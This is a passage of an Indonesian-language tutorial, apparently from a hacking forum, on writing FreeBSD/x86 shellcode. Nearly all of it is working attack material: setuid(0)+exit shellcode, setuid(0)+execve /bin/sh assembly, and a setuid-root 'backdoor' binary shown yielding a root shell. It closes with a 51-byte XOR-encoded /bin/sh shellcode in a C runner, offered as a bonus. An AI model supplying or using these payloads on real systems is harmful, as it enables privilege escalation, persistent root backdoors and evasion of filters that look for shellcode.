$0x17,%al kompile: ev1lut10n# nasm -f elf setuid_exit2.asm ev1lut10n# ld -o setuid_exit setuid_exit.o ev1lut10n# objdump -d setuid_exit2 setuid_exit2: file format elf32-i386-freebsd Disassembly of section .text: 08048080 <_start>: 8048080: 31 c0 xor %eax,%eax 8048082: 50 push %eax 8048083: 50 push %eax 8048084: b0 17 mov $0x17,%al 8048086: cd 80 int $0x80 08048088 <keluar>: 8048088: 6a 01 push $0x1 804808a: 58 pop %eax 804808b: cd 80 int $0x80 dari hasil objdump shellcodenya adl: \x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\x80 -------------------- /**freebsd setuid then exit shellcode made by: ev1lut10n**/ #include <stdio.h> #include <string.h> char shellcode[] = "\x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\x80"; int main() { fprintf(stdout,"Length: %d\n",strlen(shellcode)); (*(void(*)()) shellcode)(); } ------------------- misal namanya keluar.c: ev1lut10n# gcc -o keluar keluar.c ev1lut10n# ./keluar Length: 13 ev1lut10n# dieksekusi dg benar \x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\x80 1 2 3 4 5 6 7 8 9 10 11 12 13 ok selanjutnya kita akan membuat sebuah backdoor dengan shellcode setuid execve /bin/sh ------------------ ev1lut10n# cat /usr/include/sys/syscall.h | grep execve #define SYS_execve 59 #define SYS___mac_execve 415 #define SYS_fexecve 492 ev1lut10n# ------------------- yang akan dipakai adalah yg: #define SYS_execve 59 59 dalam hex: 3b al kita isi dengan 3b --------------- #include <unistd.h> int execve(const char *path, char *const argv[], char *const envp[]); berikut ini kode assembly untuk eksekusi /bin/sh: ----------------- xor eax,eax; eax diset ke null push byte 0 ;sama dengan push eax push '//sh' ;alamat //sh disimpan ke stack push '/bin' mov ebx,esp push byte 0 ;sama dengan push eax push esp push ebx push byte 0 mov al,0x3b ;syscall execve int 80h -------------------- jika dilakukan strace kurang lebih fungsi execve dieksekusi spt ini: execve("/bin/sh", "/bin/sh", NULL) setelah itu kita gabungkan dengan kode asm untuk setuid shellcode: ----------------------- ;copyleft by dom dom aka m0nk3y global _start section .text _start: xor eax,eax push byte 0 push byte 0 mov al,0x17 int 80h xor eax,eax push byte 0 push '//sh' push '/bin' mov ebx,esp push byte 0 push esp push ebx push byte 0 mov al,0x3b int 80h -------------- untuk memahami kode di atas lalukan kompile dengan opsi -g: ---------- ev1lut10n# nasm -f elf suid.asm -g ev1lut10n# ld -o suid suid.o ev1lut10n# gdb -q suid (gdb) l 1 ;copyleft by dom dom aka m0nk3y 2 global _start 3 section .text 4 _start: 5 xor eax,eax 6 push byte 0 7 push byte 0 8 mov al,0x17 9 int 80h 10 (gdb) l 11 xor eax,eax 12 push byte 0 13 push '//sh' 14 push '/bin' 15 mov ebx,esp 16 push byte 0 17 push esp 18 push ebx 19 push byte 0 20 mov al,0x3b (gdb) b 16 Breakpoint 1 at 0x804809a: file suid.asm, line 16. (gdb) run Starting program: /root/shellcode/suid Breakpoint 1, 0x0804809a in _start () (gdb) i r eax 0x0 0 ecx 0x0 0 edx 0x0 0 ebx 0xbfbfe9f0 -1077941776 esp 0xbfbfe9f0 0xbfbfe9f0 ebp 0x0 0x0 esi 0x0 0 edi 0x0 0 eip 0x804809a 0x804809a eflags 0x246 582 cs 0x33 51 ss 0x3b 59 ds 0x3b 59 es 0x3b 59 fs 0x3b 59 gs 0x3b 59 (gdb) x/s 0xbfbfe9f0 0xbfbfe9f0: "/bin//sh" (gdb) --------- sebelumnya esp menyimpan alamat /bin/sh yang telah kita push ke stack: 13 push '//sh' 14 push '/bin' selanjutnya isi esp yg berupa alamat memori /bin/sh disimpan ke ebx: 15 mov ebx,esp (gdb) x/s 0xbfbfe9f0 0xbfbfe9f0: "/bin//sh" (gdb) 0xbfbfe9f0 adlaah alamat /bin/sh mulai break di baris ke 16 sehingga ebx : ebx 0xbfbfe9f0 -1077941776 (gdb) x/s -1077941776 0xbfbfe9f0: "/bin//sh" (gdb) gdb) b 21 Breakpoint 1 at 0x80480a2: file suid.asm, line 21. (gdb) run Starting program: /root/shellcode/suid Breakpoint 1, 0x080480a2 in _start () ev1lut10n# nasm -f elf suid.asm ev1lut10n# ld -o suid suid.o ev1lut10n# chmod u+s suid ev1lut10n# uname -a FreeBSD ev1lut10n.org 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Feb 18 02:24:46 UTC 2011 root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386 ev1lut10n# su ev1lut10n $ id uid=1001(ev1lut10n) gid=1001(ev1lut10n) groups=1001(ev1lut10n) $ ./suid # id uid=0(root) gid=0(wheel) egid=1001(ev1lut10n) groups=1001(ev1lut10n) # (gdb) i r eax 0x3b 59 karena register 32 bit (eax) terdiri dari 2 register 16 bit : ax di mana ax terdiri lagi dari 2 register 8 bit , dengan mengisi register 8 bit al dengan 0x3b maka eax=0x3b Bonus Stage: =============================================== /** Title : 51 bytes FreeBSD/x86 encrypted setuid(0) execve /bin/sh Date : Sun May 29 08:07:11 UTC 2011 Author; ev1lut10n (antonsoft_2004@yahoo.com) Web : devilzc0de.org Tested on: FreeBSD 8.2-RELEASE i386 special thanks to gunslinger,flyf666,petimati,peneter,wenkhairu, danzel, net_spy, and all my friends **/ #include <stdio.h> #include <string.h> int main() { char sc[]="\xeb\x0d\x5e\x31\xc9\xb1\x1f\x80\x36\x42\x46\xe2\xfa\xeb\x05" "\xe8\xee\xff\xff\xff\x73\x82\x12\x12\xf2\x55\x8f\xc2\x73\x82" "\x12\x2a\x6d\x6d\x31\x2a\x2a\x6d\x20\x2b\x2c\xcb\xa1\x12\x16" "\x11\x12\xf2\x79\x8f\xc2"; fprintf(stdout,"Length: %d\n",strlen(sc)); (*(void(*)()) sc)(); return 0; } ================================================